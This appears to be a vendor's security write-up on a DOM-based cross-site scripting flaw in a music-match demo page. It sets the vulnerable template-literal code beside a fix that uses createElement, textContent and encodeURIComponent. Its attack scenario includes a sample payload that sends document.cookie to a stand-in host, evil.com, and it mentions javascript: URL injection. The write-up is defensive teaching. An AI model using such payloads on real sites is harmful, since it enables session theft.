How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it
Introduction
The public/audio_match_demo/index.html file powers an interactive music recognition demo that displays song matches from a backend API. When users receive search results, the application renders each matched song as a clickable link to NetEase Music. However, the original implementation at lines 255-258 constructed these links through dangerous string concatenation, creating a high-severity DOM-based XSS vulnerability that could execute attacker-controlled JavaScript in users' browsers.
The vulnerable code directly interpolated API response fields—song.song.name, song.song.album.name, and song.song.id—into HTML strings without any sanitization. Since this API returns metadata from external music databases, an attacker who could influence that data (through supply chain compromise, cache poisoning, or upstream data manipulation) could inject malicious payloads that execute immediately when rendered.
The Vulnerability Explained
The problematic code pattern was found in the result rendering loop:
// VULNERABLE CODE (lines 255-258)
for (var song of resp.data.result) {
logs.write(
`[result] <a target="_blank" href="https://music.163.com/song?id=${song.song.id}">${song.song.name} - ${song.song.album.name} (${song.startTime / 1000}s)</a>`
)
}
Why this is dangerous: The logs.write() method (presumably wrapping innerHTML or similar) parses this string as HTML. Any special characters in the song name or album—such as <, >, ", ', or &—are interpreted as HTML markup rather than literal text.
Specific attack scenario: An attacker poisons the upstream music database to include a song named:
</a><img src=x onerror=fetch('https://evil.com/steal?cookie='+document.cookie)><a>
When the demo renders results containing this "song," the browser executes the injected script, exfiltrating cookies or performing actions as the victim user. The song.song.id parameter is similarly vulnerable in the href attribute, enabling JavaScript protocol injection like javascript:alert(1) or javascript:eval(...).
Real-world impact: This demo page likely runs on the same origin as production services. Successful exploitation could:
- Steal authentication tokens from document.cookie
- Perform actions on behalf of users via XMLHttpRequest or fetch()
- Deface the application or redirect users to phishing sites
- Establish persistent access through service worker registration
The Fix
The remediation replaces HTML string construction with secure DOM API usage, eliminating the HTML parser entirely for untrusted content:
// SECURE CODE (lines 258-265)
for (var song of resp.data.result) {
var a = document.createElement('a');
a.href = 'https://music.163.com/song?id=' + encodeURIComponent(song.song.id);
a.target = '_blank';
a.textContent = song.song.name + ' - ' + song.song.album.name + ' (' + (song.startTime / 1000) + 's)';
logs.appendChild(document.createTextNode('[result] '));
logs.appendChild(a);
logs.appendChild(document.createElement('br'));
}
Key security improvements:
| Aspect | Before | After |
|---|---|---|
| URL construction | Template literal interpolation | encodeURIComponent() ensures URL-safe encoding |
| Text content | HTML string concatenation | textContent property treats value as literal text, never HTML |
| Element creation | String parsing via innerHTML |
document.createElement() builds DOM nodes directly |
| Structural elements | Inline <br> in HTML string |
Explicit document.createElement('br') |
The textContent property is the critical defense here: it automatically escapes all HTML special characters, so even if song.song.name contains <script>alert(1)</script>, it renders as visible text rather than executing. Similarly, encodeURIComponent() on song.song.id prevents javascript: protocol injection and ensures valid URL formatting.
Prevention & Best Practices
1. Prefer DOM APIs over HTML strings
When building dynamic content, use document.createElement(), element.textContent, and element.setAttribute() rather than innerHTML, outerHTML, or document.write(). This architectural choice eliminates an entire class of injection vulnerabilities by design.
2. Encode for the correct context
Different contexts require different encoding:
- HTML text content: Use textContent (automatic) or HTML entity encoding
- URL parameters: Use encodeURIComponent()
- URL paths: Use encodeURI()
- CSS values: Use CSS escaping or strict validation
- JavaScript strings: Use JSON serialization
3. Validate API responses
Treat all external data as untrusted. Implement schema validation at API boundaries to reject unexpected types, lengths, or character sets before processing.
4. Content Security Policy (CSP)
Deploy a strict CSP to mitigate residual XSS risks:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';
5. Security testing
Integrate static analysis tools that detect dangerous patterns:
- innerHTML assignments with non-literal values
- Template literal HTML construction with interpolated variables
- Unencoded URL parameter construction
Key Takeaways
- Never concatenate API response data into HTML strings: The
logs.write()pattern with template literals containing${song.song.name}created an exploitable injection point at line 255 textContentis safer thaninnerHTMLfor dynamic text: The fix demonstrates thata.textContent = ...automatically neutralizes HTML metacharacters without manual escaping- URL parameters require encoding, not just validation:
encodeURIComponent(song.song.id)prevents both injection attacks and URL parsing errors - DOM construction beats string templating: Building nodes with
createElement(),appendChild(), andcreateTextNode()provides defense-in-depth against encoding mistakes - Client-side rendering carries client-side risk: Even "static" demo pages processing API data must implement the same security controls as production applications
How Orbis AppSec Detected This
Source: HTTP API response body containing resp.data.result array with song.song.name, song.song.album.name, and song.song.id fields
Sink: HTML string concatenation passed to logs.write() at public/audio_match_demo/index.html:255-258, which renders content via innerHTML or equivalent
Missing control: No sanitization, encoding, or validation of API response fields before DOM insertion; use of dangerous HTML string construction instead of safe DOM APIs
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix: Replaced HTML string templating with secure DOM construction using document.createElement(), textContent assignment, and encodeURIComponent() for URL parameters
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability illustrates a common misconception: that "just displaying data from an API" is inherently safe. The audio_match_demo incident proves that any data crossing a trust boundary—from external APIs, databases, or user inputs—must be handled with appropriate security controls. The fix demonstrates that modern JavaScript provides elegant, performant alternatives to HTML string manipulation. By adopting DOM-based construction patterns as the default approach, developers can eliminate entire categories of XSS vulnerabilities while writing cleaner, more maintainable code.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') — https://cwe.mitre.org/data/definitions/79.html
- OWASP Cross-Site Scripting (XSS) Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- MDN:
textContentvsinnerHTML— https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent#differences_from_innerhtml - MDN:
encodeURIComponent()— https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent - Semgrep rule for dangerous innerHTML assignment — https://semgrep.dev/r?q=browser.security.insecure-document-write
- GitHub PR: fix: the audio match demo page renders api response ... in index.html